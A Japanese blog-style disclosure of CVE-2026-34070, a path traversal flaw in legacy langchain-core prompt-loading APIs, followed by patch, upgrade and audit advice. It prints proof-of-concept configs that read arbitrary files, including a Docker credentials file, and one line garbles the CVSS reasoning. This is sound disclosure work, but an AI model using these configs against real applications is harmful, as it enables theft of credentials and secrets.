AIで最も人気のあるフレームワークの1つに残された忘れられたレガシーAPIが、どのようにして何百万ものアプリケーションを任意のファイル読み取りに静かに晒していたのか。
概念実証が初回で成功したときに感じる、あの独特の感覚があります。正確には興奮ではありません — むしろ、何か現実の出来事が起きたという、ゆっくりと広がる不快な認識です。それが、load_prompt_from_config() に対してテスト設定を実行し、読むはずのないファイルの内容がそのままターミナルに出力されるのを見たときに感じた感覚でした。
これはCVE-2026-34070の物語です。langchain-core におけるパストラバーサル脆弱性で、現在はバージョン1.2.22で修正されています。
ここ数年でAIを使って何かを構築したことがあるなら、ほぼ間違いなくLangChainに触れたことがあるでしょう。これは現代のAIスタックの結合組織です — 言語モデル、ベクターストア、ツール、プロンプト管理をまとめ上げて一貫したアプリケーションにするフレームワークです。GitHubで13万以上のスターを獲得し、週末の小規模プロジェクトからエンタープライズ展開まで幅広く採用されているため、ここでの脆弱性は封じ込められたままにはなりません。
私はプロンプトサブシステムのコードレビューをしていたときに、あるものが目に留まりました。langchain_core/prompts/loading.py というモジュールです。それは、逆シリアル化された設定ディクショナリから直接取得した値に基づいて、ディスクからファイルを読み込んでいました。検証なし。パスのサニタイズなし。ただ open(path) だけです。
私は読み続けました。
この中心には3つの内部関数がありました:
_load_template() — 、、 によって参照されるファイルを読み取りますtemplate_pathsuffix_pathprefix_path_load_examples() — examples キーが文字列の場合に、それによって参照されるファイルを読み取ります_load_few_shot_prompt() — example_prompt_path によって参照されるファイルを読み取りますファイル拡張子のチェックはありました。テンプレートには .txt。例には .json、.yaml、.yml。しかし、これらのパスが絶対パス(/etc/passwd)やトラバーサルベース(../../../../home/user/.ssh/)であることを防ぐものは何もありませんでした。拡張子フィルタは誤った安心感を与えていました — 攻撃者が適切な拡張子を選ぶ必要があるというだけで、攻撃がブロックされているわけではありませんでした。
これらの関数はすべて、load_prompt() と load_prompt_from_config() という2つの公開APIを通じて到達可能です。
最もシンプルなバージョンは次のようになりました:
from langchain_core.prompts.loading import load_prompt_from_config
config = {
"_type": "prompt",
"template_path": "/tmp/secret.txt",
"input_variables": [],
}
prompt = load_prompt_from_config(config)
print(prompt.template) # /tmp/secret.txt の内容がきれいに出力される
これだけです。絶対パスを渡すと、PromptTemplate にラップされたファイルの内容が返ってきます。認証なし。特別な権限なし。設定ディクショナリに影響を与えることができれば、ファイルを読み取ることができます。
ディレクトリトラバーサルも同様にきれいに機能しました:
config = {
"_type": "prompt",
"template_path": "../../etc/secret.txt",
"input_variables": [],
}
JSON/YAMLバリアントは、到達できるファイルの種類のため、おそらくより危険でした:
config = {
"_type": "few_shot",
"examples": "../../../../.docker/config.json",
"example_prompt": {
"_type": "prompt",
"input_variables": ["input", "output"],
"template": "{input}: {output}",
},
"prefix": "",
"suffix": "{query}",
"input_variables": ["query"],
}
prompt = load_prompt_from_config(config)
.docker/config.json にはDocker Hubの認証情報が含まれています。~/.azure/accessTokens.json にはAzureのトークンがあります。Kubernetesマニフェスト、CI/CD設定、内部アプリケーション設定 — ファイルシステム上のどこかにあり、適切な拡張子を持つものはすべて対象でした。
CVSSスコアは 7.5 High で、ベクターは AV:N/AC:L/PR:N/UI:N — ネットワークからアクセス可能、低複雑性、権限不要、ユーザー操作不要です。
スコアが9以上に制約されているのは、ファイル拡張子チェックが読み取れるファイルを制限するためです。しかし、7.5でも特定の展開パターンにおける現実世界の影響を過小評価しています。
これが本番環境のどこに影響するかを考えてみてください:
load_prompt_from_config() に渡す場合、すべてのユーザーが潜在的な攻撃者になります。これらの環境では、「ファイル拡張子による制約」という制限はあまり重要ではありません。攻撃者は、適切な拡張子を持つ既知のファイルを単純にターゲットにできます。典型的なクラウドインスタンスでは:requirements.txt、config.yaml、.env.yaml、.json 拡張子のマウントされたシークレットファイル — リストは長いです。
影響を受ける関数は、アドバイザリで「文書化されていないレガシーAPI」と説明されています。これらは、現在の langchain_core.load シリアライゼーションシステム(dumpd/dumps/load/loads)より前に存在します。現在のシステムは許可リストベースのモデルを使用し、ファイルシステムの読み取りを行いません。
新しいAPIは存在します。より優れています。しかし、古いコードは決してクリーンアップされませんでした — 検証なしで、到達可能なまま、ただそこにありました。
これは注目に値するパターンです。急速に成長するオープンソースプロジェクト、特にLangChainのように急速に成長したプロジェクトでは、技術的負債が隅に蓄積されます。「実際にはユーザー向けではなかった」レガシーコードは、主要なAPIサーフェスと同じ精査を受けません。しかし、それでも呼び出し可能です。それでもパッケージに含まれています。そして、ディスクからファイルを読み取るなら、潜在的な脆弱性です。
パッチは langchain-core 1.2.22 で提供されました。修正では、ファイルが開かれる前に、絶対パスと .. トラバーサルシーケンスの両方を拒否するパス検証が追加されています。信頼できるパスから読み取る必要があるアプリケーション向けに、allow_dangerous_paths=True というエスケープハッチが用意されており、呼び出し側がリスクを選択していることを明示的に認識します。
レガシーAPIはこのリリースで正式に非推奨にもなりました。2.0.0で完全に削除されます。どこかで load_prompt() または load_prompt_from_config() を使用している場合は、破壊的な変更を待つよりも、今すぐ langchain_core.load 相当のものに移行してください。
今すぐ更新してください:
pip install --upgrade langchain-core
1.2.22以降であることを確認します:
python -c "import langchain_core; print(langchain_core.__version__)"
LangChain上で構築している場合、簡単な監査を実行する価値があります:
load_prompt と load_prompt_from_config を検索します。 見つかった場合は、何が渡されているかを確認します。.txt、.json、.yaml 拡張子のファイルが何があり、何が含まれているかを理解します。AIインフラストラクチャのセキュリティバグは、これらのシステムがより機密性の高いワークロードを処理するにつれて、重要性が増すことはあっても減ることはありません。LangChainのチームはよく対応しました — 修正はクリーンで、非推奨の道筋は明確で、アドバイザリのドキュメントは徹底しています。
しかし、これは良い教訓です。AIアプリケーションの攻撃対象領域はモデルだけではないということです。スタック内のすべてのライブラリ、クリーンアップされなかったすべてのレガシー関数、「ユーザーはここに信頼できない入力を渡さないだろう」という前提が保証ではなくなったすべての場所です。
コードを読みましょう。特に古い部分を。
CVE-2026-34070はこの脆弱性に割り当てられました。完全なアドバイザリは LangChain GitHub Security Advisory で入手できます。